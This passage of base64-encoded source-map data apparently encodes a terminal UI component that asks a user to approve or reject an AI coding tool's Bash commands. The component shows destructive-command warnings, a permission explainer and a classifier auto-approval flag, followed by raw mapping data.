NzaWZpZXJTdWJ0aXRsZX1cbiAgICA+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBwYWRkaW5nWD17Mn0gcGFkZGluZ1k9ezF9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj17ZXhwbGFpbmVyU3RhdGUudmlzaWJsZX0+XG4gICAgICAgICAge0Jhc2hUb29sLnJlbmRlclRvb2xVc2VNZXNzYWdlKFxuICAgICAgICAgICAgeyBjb21tYW5kLCBkZXNjcmlwdGlvbiB9LFxuICAgICAgICAgICAgeyB0aGVtZSwgdmVyYm9zZTogdHJ1ZSB9LCAvLyBhbHdheXMgc2hvdyB0aGUgZnVsbCBjb21tYW5kXG4gICAgICAgICAgKX1cbiAgICAgICAgPC9UZXh0PlxuICAgICAgICB7IWV4cGxhaW5lclN0YXRlLnZpc2libGUgJiYgKFxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPnt0b29sVXNlQ29uZmlybS5kZXNjcmlwdGlvbn08L1RleHQ+XG4gICAgICAgICl9XG4gICAgICAgIDxQZXJtaXNzaW9uRXhwbGFpbmVyQ29udGVudFxuICAgICAgICAgIHZpc2libGU9e2V4cGxhaW5lclN0YXRlLnZpc2libGV9XG4gICAgICAgICAgcHJvbWlzZT17ZXhwbGFpbmVyU3RhdGUucHJvbWlzZX1cbiAgICAgICAgLz5cbiAgICAgIDwvQm94PlxuICAgICAge3Nob3dQZXJtaXNzaW9uRGVidWcgPyAoXG4gICAgICAgIDw+XG4gICAgICAgICAgPFBlcm1pc3Npb25EZWNpc2lvbkRlYnVnSW5mb1xuICAgICAgICAgICAgcGVybWlzc2lvblJlc3VsdD17dG9vbFVzZUNvbmZpcm0ucGVybWlzc2lvblJlc3VsdH1cbiAgICAgICAgICAgIHRvb2xOYW1lPVwiQmFzaFwiXG4gICAgICAgICAgLz5cbiAgICAgICAgICB7dG9vbFVzZUNvbnRleHQub3B0aW9ucy5kZWJ1ZyAmJiAoXG4gICAgICAgICAgICA8Qm94IGp1c3RpZnlDb250ZW50PVwiZmxleC1lbmRcIiBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5DdHJsLUQgdG8gaGlkZSBkZWJ1ZyBpbmZvPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKX1cbiAgICAgICAgPC8+XG4gICAgICApIDogKFxuICAgICAgICA8PlxuICAgICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgICAgPFBlcm1pc3Npb25SdWxlRXhwbGFuYXRpb25cbiAgICAgICAgICAgICAgcGVybWlzc2lvblJlc3VsdD17dG9vbFVzZUNvbmZpcm0ucGVybWlzc2lvblJlc3VsdH1cbiAgICAgICAgICAgICAgdG9vbFR5cGU9XCJjb21tYW5kXCJcbiAgICAgICAgICAgIC8+XG4gICAgICAgICAgICB7ZGVzdHJ1Y3RpdmVXYXJuaW5nICYmIChcbiAgICAgICAgICAgICAgPEJveCBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgICAgICAgICAgIDxUZXh0XG4gICAgICAgICAgICAgICAgICBjb2xvcj1cIndhcm5pbmdcIlxuICAgICAgICAgICAgICAgICAgZGltQ29sb3I9e1xuICAgICAgICAgICAgICAgICAgICBmZWF0dXJlKCdCQVNIX0NMQVNTSUZJRVInKVxuICAgICAgICAgICAgICAgICAgICAgID8gdG9vbFVzZUNvbmZpcm0uY2xhc3NpZmllckF1dG9BcHByb3ZlZFxuICAgICAgICAgICAgICAgICAgICAgIDogZmFsc2VcbiAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICA+XG4gICAgICAgICAgICAgICAgICB7ZGVzdHJ1Y3RpdmVXYXJuaW5nfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgICApfVxuICAgICAgICAgICAgPFRleHRcbiAgICAgICAgICAgICAgZGltQ29sb3I9e1xuICAgICAgICAgICAgICAgIGZlYXR1cmUoJ0JBU0hfQ0xBU1NJRklFUicpXG4gICAgICAgICAgICAgICAgICA/IHRvb2xVc2VDb25maXJtLmNsYXNzaWZpZXJBdXRvQXBwcm92ZWRcbiAgICAgICAgICAgICAgICAgIDogZmFsc2VcbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPlxuICAgICAgICAgICAgICBEbyB5b3Ugd2FudCB0byBwcm9jZWVkP1xuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPFNlbGVjdFxuICAgICAgICAgICAgICBvcHRpb25zPXtcbiAgICAgICAgICAgICAgICBmZWF0dXJlKCdCQVNIX0NMQVNTSUZJRVInKVxuICAgICAgICAgICAgICAgICAgPyB0b29sVXNlQ29uZmlybS5jbGFzc2lmaWVyQXV0b0FwcHJvdmVkXG4gICAgICAgICAgICAgICAgICAgID8gb3B0aW9ucy5tYXAobyA9PiAoeyAuLi5vLCBkaXNhYmxlZDogdHJ1ZSB9KSlcbiAgICAgICAgICAgICAgICAgICAgOiBvcHRpb25zXG4gICAgICAgICAgICAgICAgICA6IG9wdGlvbnNcbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICBpc0Rpc2FibGVkPXtcbiAgICAgICAgICAgICAgICBmZWF0dXJlKCdCQVNIX0NMQVNTSUZJRVInKVxuICAgICAgICAgICAgICAgICAgPyB0b29sVXNlQ29uZmlybS5jbGFzc2lmaWVyQXV0b0FwcHJvdmVkXG4gICAgICAgICAgICAgICAgICA6IGZhbHNlXG4gICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgaW5saW5lRGVzY3JpcHRpb25zXG4gICAgICAgICAgICAgIG9uQ2hhbmdlPXtvblNlbGVjdH1cbiAgICAgICAgICAgICAgb25DYW5jZWw9eygpID0+IGhhbmRsZVJlamVjdCgpfVxuICAgICAgICAgICAgICBvbkZvY3VzPXtoYW5kbGVGb2N1c31cbiAgICAgICAgICAgICAgb25JbnB1dE1vZGVUb2dnbGU9e2hhbmRsZUlucHV0TW9kZVRvZ2dsZX1cbiAgICAgICAgICAgIC8+XG4gICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgPEJveCBqdXN0aWZ5Q29udGVudD1cInNwYWNlLWJldHdlZW5cIiBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICAgIEVzYyB0byBjYW5jZWxcbiAgICAgICAgICAgICAgeygoZm9jdXNlZE9wdGlvbiA9PT0gJ3llcycgJiYgIXllc0lucHV0TW9kZSkgfHxcbiAgICAgICAgICAgICAgICAoZm9jdXNlZE9wdGlvbiA9PT0gJ25vJyAmJiAhbm9JbnB1dE1vZGUpKSAmJlxuICAgICAgICAgICAgICAgICcgwrcgVGFiIHRvIGFtZW5kJ31cbiAgICAgICAgICAgICAge2V4cGxhaW5lclN0YXRlLmVuYWJsZWQgJiZcbiAgICAgICAgICAgICAgICBgIMK3IGN0cmwrZSB0byAke2V4cGxhaW5lclN0YXRlLnZpc2libGUgPyAnaGlkZScgOiAnZXhwbGFpbid9YH1cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgIHt0b29sVXNlQ29udGV4dC5vcHRpb25zLmRlYnVnICYmIChcbiAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+Q3RybCtkIHRvIHNob3cgZGVidWcgaW5mbzwvVGV4dD5cbiAgICAgICAgICAgICl9XG4gICAgICAgICAgPC9Cb3g+XG4gICAgICAgIDwvPlxuICAgICAgKX1cbiAgICA8L1Blcm1pc3Npb25EaWFsb2c+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLFNBQVNBLE9BQU8sUUFBUSxZQUFZO0FBQ3BDLE9BQU9DLE9BQU8sTUFBTSxTQUFTO0FBQzdCLE9BQU9DLEtBQUssSUFBSUMsV0FBVyxFQUFFQyxTQUFTLEVBQUVDLE9BQU8sRUFBRUMsTUFBTSxFQUFFQyxRQUFRLFFBQVEsT0FBTztBQUNoRixTQUFTQyxHQUFHLEVBQUVDLElBQUksRUFBRUMsUUFBUSxRQUFRLGlCQUFpQjtBQUNyRCxTQUFTQyxhQUFhLFFBQVEsdUNBQXVDO0FBQ3JFLFNBQVNDLG1DQUFtQyxRQUFRLDJDQUEyQztBQUMvRixTQUNFLEtBQUtDLDBEQUEwRCxFQUMvREMsUUFBUSxRQUNILHNDQUFzQztBQUM3QyxTQU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